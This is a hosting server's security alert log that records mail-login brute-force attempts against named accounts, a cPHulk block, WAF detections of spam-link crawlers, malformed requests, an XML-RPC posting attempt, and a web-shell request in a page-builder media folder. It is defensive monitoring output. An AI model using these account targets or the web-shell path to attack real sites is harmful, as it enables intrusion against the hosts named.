2026-07-09 17:07:00 dovecot_login authenticator failed for H=(sIdDNuFnV) [80.94.92.123]:49172: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:08:08 dovecot_login authenticator failed for H=(CxNM7x) [80.94.92.123]:63333: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://atlanta.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:08:54 dovecot_login authenticator failed for H=(q9UWpJauw) [80.94.92.123]:56045: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:10:03 dovecot_login authenticator failed for H=(OmTV0lWN) [80.94.92.123]:52093: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:10:26 dovecot_login authenticator failed for H=(B3MkFi3iP) [80.94.92.123]:56271: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 80.94.92.123
country_id: 798549
description:
Login Blocked: IP reached maximum auth failures for a one day block [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[80.94.92.123] [Authentication Database]=[mail] [Username]=[shibu@idealloanz.com.au] (30/30 failures) (blocked until [Fri Jul 10 11:41:09 2026 UTC/Fri Jul 10 17:11:09 2026 LOCAL])


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:11:11 dovecot_login authenticator failed for H=(9E8pgSrRU) [80.94.92.123]:65495: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.50
country_id: 1269750
description:
2026-07-09 17:12:49 dovecot_login authenticator failed for H=([103.93.37.178]) [182.95.123.50]:45076: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:11:57 dovecot_login authenticator failed for H=(MQyyPyQk) [80.94.92.123]:58306: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:13:05 dovecot_login authenticator failed for H=(1ro6cje) [80.94.92.123]:56304: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.176.164.186
country_id: 1643084
description:
2026-07-09 17:13:30 dovecot_login authenticator failed for H=(201-91-74-17.customer.tdatabrasil.net.br) [175.176.164.186]:61765: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:14:14 dovecot_login authenticator failed for H=(iNeh9oCKiC) [80.94.92.123]:53210: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:15:44 dovecot_login authenticator failed for H=(LKJn2h) [80.94.92.123]:53804: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:14:58 dovecot_login authenticator failed for H=(nHHfIkl3Z) [80.94.92.123]:60974: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:16:07 dovecot_login authenticator failed for H=(uymgjNEPe) [80.94.92.123]:58801: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:16:53 dovecot_login authenticator failed for H=(TDD8Oh) [80.94.92.123]:51883: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:18:01 dovecot_login authenticator failed for H=(eNWK2y94A0) [80.94.92.123]:64618: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.56.181.152
country_id: 953987
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/services/home-theater-installation/ HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:19:00 dovecot_login authenticator failed for H=(ApfmHTvR) [31.57.184.56]:52550: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:19:10 dovecot_login authenticator failed for H=(7TEBKt) [80.94.92.123]:60511: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.137
country_id: 1835841
description:
2026-07-09 17:20:32 dovecot_login authenticator failed for H=([184.181.217.198]) [121.131.220.137]:58148: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:19:53 dovecot_login authenticator failed for H=(sE0PD2) [31.57.184.56]:62266: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:19:56 dovecot_login authenticator failed for H=(wL3Q9iz0) [80.94.92.123]:53224: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:21:28 dovecot_login authenticator failed for H=(ob2HxWyFTa) [80.94.92.123]:57985: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.187.86
country_id: 1269750
description:
2026-07-09 17:21:02 dovecot_login authenticator failed for H=([199.116.114.10]) [182.95.187.86]:47198: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:21:06 dovecot_login authenticator failed for H=(vvkzFnBro) [80.94.92.123]:52504: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:21:11 dovecot_login authenticator failed for H=(YIhr1Ye) [31.57.184.56]:60570: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:21:51 dovecot_login authenticator failed for H=(7dyKxnZMtd) [80.94.92.123]:63150: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 198.23.185.229
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:70903.cochinbigbandshow.com||ServerName:cochinbigbandshow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:74c0fb20160b6457d9463e761de9858f93ec51bb||Title:0xca4076db||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:23:00 dovecot_login authenticator failed for H=(8t8wnkje) [80.94.92.123]:63116: 535 Incorrect authentication data (set_id=shibu)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 141.255.164.66
country_id: 2658434
domain: ogocindia.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/kqpefrdx/fonts/mmdjhwhn.PHP||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:23:30 dovecot_login authenticator failed for H=(wvBEWqAYD) [31.57.184.56]:52476: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:23:56 dovecot_login authenticator failed for H=(eMfuCi8) [31.57.184.56]:61940: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:24:09 dovecot_login authenticator failed for H=(daSxca75sv) [80.94.92.123]:62384: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.124.46
country_id: 1269750
description:
2026-07-09 17:25:20 dovecot_login authenticator failed for H=(host-pq.vsg1-a.v4.dfn.nl) [122.184.124.46]:54276: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.232.210.121
country_id: 3686110
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/category/facelift/index.html HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:24:54 dovecot_login authenticator failed for H=(ywfiMv) [80.94.92.123]:53655: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.63
country_id: 1668284
description:
2026-07-09 17:25:00 dovecot_login authenticator failed for H=([183.171.236.23]) [101.13.5.63]:40838: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:25:12 dovecot_login authenticator failed for H=(QsAlQcybv) [31.57.184.56]:59398: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.198.108.48
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.youtube.com/watch?v=BvswJX8Xg3s\">garage door repair</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:26:03 dovecot_login authenticator failed for H=(2T3LOhom3) [80.94.92.123]:49709: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:26:07 dovecot_login authenticator failed for H=(0nUVyP9fTe) [31.57.184.56]:60614: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.109.73.135
country_id: 1835841
description:
2026-07-09 17:26:22 dovecot_login authenticator failed for H=([39.164.94.190]) [222.109.73.135]:53961: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:26:25 dovecot_login authenticator failed for H=(uTEOSxYNou) [80.94.92.123]:54656: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.138.160
country_id: 1835841
description:
2026-07-09 17:26:39 dovecot_login authenticator failed for H=(119.92.172.100.static.pldt.net) [220.72.138.160]:33903: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:27:11 dovecot_login authenticator failed for H=(FnQapYtV2) [80.94.92.123]:64761: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:27:01 dovecot_login authenticator failed for H=(bKRTjUdQ) [31.57.184.56]:64731: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.135.208.16
country_id: 1861060
description:
2026-07-09 17:27:32 dovecot_login authenticator failed for H=([107.85.14.222]) [212.135.208.16]:39129: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.201.173
country_id: 660013
description:
2026-07-09 17:28:20 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc9-173.dhcp.inet.fi (wsip-184-178-172-24.rn.hr.cox.net) [80.223.201.173]:60560: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:28:15 dovecot_login authenticator failed for H=(9Mx9yo) [31.57.184.56]:62816: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.46.124.0
country_id: 3686110
description:
2026-07-09 17:27:52 dovecot_login authenticator failed for H=([219.254.124.110]) [201.46.124.0]:3256: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:27:59 dovecot_login authenticator failed for H=(dT2OiFbVUm) [80.94.92.123]:59811: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.188.204.213
country_id: 6252001
description:
2026-07-09 17:28:59 dovecot_login authenticator failed for H=([128.185.160.185]) [50.188.204.213]:55332: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:29:08 dovecot_login authenticator failed for H=(ETaQajonEV) [80.94.92.123]:58787: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:29:11 dovecot_login authenticator failed for H=(DwTAfU1BO) [31.57.184.56]:62423: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:30:02 dovecot_login authenticator failed for H=(1KLiO2xg) [31.57.184.56]:59200: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:29:54 dovecot_login authenticator failed for H=(gkRTEwNr6) [80.94.92.123]:51570: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:31:02 dovecot_login authenticator failed for H=(iwFNke) [80.94.92.123]:64252: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:31:48 dovecot_login authenticator failed for H=(XZGQ1Hw3y) [80.94.92.123]:57576: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:30:56 dovecot_login authenticator failed for H=(2Vvmuuus) [31.57.184.56]:61370: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:32:12 dovecot_login authenticator failed for H=(ltcssFXM) [31.57.184.56]:61772: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:32:10 dovecot_login authenticator failed for H=(68fdm04) [80.94.92.123]:62273: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:32:56 dovecot_login authenticator failed for H=(3YsCCm) [80.94.92.123]:53924: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.206.119
country_id: 1819730
description:
2026-07-09 17:33:00 dovecot_login authenticator failed for H=(dynamic-adsl.movitel.co.mz) [121.202.206.119]:52756: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:33:02 dovecot_login authenticator failed for H=(TYDjmQQ) [31.57.184.56]:63770: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:34:13 dovecot_login authenticator failed for H=(WrClWjHST3) [80.94.92.123]:51966: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:33:59 dovecot_login authenticator failed for H=(50aQJ4Th3) [31.57.184.56]:51304: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:34:59 dovecot_login authenticator failed for H=(8xeDxfmSX) [80.94.92.123]:61463: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:34:56 dovecot_login authenticator failed for H=(l6z0gG9) [31.57.184.56]:56006: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:36:11 dovecot_login authenticator failed for H=(mVKPyXR) [31.57.184.56]:54780: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:36:08 dovecot_login authenticator failed for H=(a57p647Bl) [80.94.92.123]:59650: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:37:17 dovecot_login authenticator failed for H=(qrvGCEGqpD) [80.94.92.123]:57766: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:36:54 dovecot_login authenticator failed for H=(AmphVfvgQt) [80.94.92.123]:52765: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:37:24 dovecot_login authenticator failed for H=(FumXP0b5) [31.57.184.56]:51194: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:38:03 dovecot_login authenticator failed for H=(2LWWkfU06) [80.94.92.123]:51121: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:39:04 dovecot_login authenticator failed for H=(hDwL3JmE) [31.57.184.56]:62243: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:39:12 dovecot_login authenticator failed for H=(tJLZtgQPVf) [80.94.92.123]:65145: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:39:57 dovecot_login authenticator failed for H=(ixrNehP) [31.57.184.56]:60193: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.25.108.2
country_id: 1643084
description:
2026-07-09 17:40:18 dovecot_login authenticator failed for H=ns1.sinergi.net.id ([111.26.115.121]) [223.25.108.2]:37966: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.244.92.212
country_id: 6251999
description:
2026-07-09 17:39:54 dovecot_login authenticator failed for H=dhcp-4-bc-9f-5c-c9-f1.cpe.i-zoom.net (85.105.2.51.static.ttnet.com.tr) [24.244.92.212]:54398: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:39:58 dovecot_login authenticator failed for H=(Ieq6Z62g4n) [80.94.92.123]:56193: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:41:06 dovecot_login authenticator failed for H=(GxaVFDB) [80.94.92.123]:52324: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:41:20 dovecot_login authenticator failed for H=(9F9lt42gH2) [31.57.184.56]:60023: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-09 17:41:50 dovecot_login authenticator failed for H=(d-23-244-232-117.wv.cpe.atlanticbb.net) [94.16.17.141]:35482: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:42:16 dovecot_login authenticator failed for H=(raLh1Gg11) [31.57.184.56]:53167: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.209.101.43
country_id: 2077456
description:
2026-07-09 17:42:15 dovecot_login authenticator failed for H=([183.171.155.166]) [123.209.101.43]:43752: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:42:14 dovecot_login authenticator failed for H=(duvVBxCYj) [80.94.92.123]:50780: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:42:37 dovecot_login authenticator failed for H=(Qrj4plj) [80.94.92.123]:55822: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:43:00 dovecot_login authenticator failed for H=(nFXPYf) [80.94.92.123]:60652: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:43:12 dovecot_login authenticator failed for H=(GRT3khbW7W) [31.57.184.56]:62823: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 110.39.173.82
country_id: 1168579
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/?page_id=1383 HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.195.53.129
country_id: 6252001
description:
2026-07-09 17:44:41 dovecot_login authenticator failed for H=([112.168.121.39]) [74.195.53.129]:44958: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:44:05 dovecot_login authenticator failed for H=(l8ZKWd8) [31.57.184.56]:64527: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:44:08 dovecot_login authenticator failed for H=(dkxi0N2) [80.94.92.123]:60332: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:44:54 dovecot_login authenticator failed for H=(RYu2Mb) [80.94.92.123]:53731: 535 Incorrect authentication data (set_id=shibu)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:45:00 dovecot_login authenticator failed for H=(wzuyt6v) [31.57.184.56]:50832: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.138.166.217
country_id: 1835841
description:
2026-07-09 17:45:07 dovecot_login authenticator failed for H=(177-72-87-7.static.as262543.net.br) [125.138.166.217]:42220: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:45:54 dovecot_login authenticator failed for H=(okYbCBa6) [31.57.184.56]:63146: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 78.138.14.34
country_id: 1831722
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://Liftersdigest.com/\">JUDI</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:48:03 dovecot_login authenticator failed for H=(QV5eFu3O) [31.57.184.56]:50880: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 4.154.169.51
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.7680.165 Safari/537.36||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.244.113.93
country_id: 3996063
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/pa-systems/projection-mapping HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.216.6.17
country_id: 2077456
description:
2026-07-09 17:49:43 dovecot_login authenticator failed for H=139-216-6-17.sta.dodo.net.au ([196.28.226.125]) [139.216.6.17]:35624: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:49:16 dovecot_login authenticator failed for H=(QbAVpfUqn) [31.57.184.56]:57702: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:50:32 dovecot_login authenticator failed for H=(BLvQDVn3) [31.57.184.56]:60193: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:50:57 dovecot_login authenticator failed for H=(apj7Vuz) [31.57.184.56]:53842: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
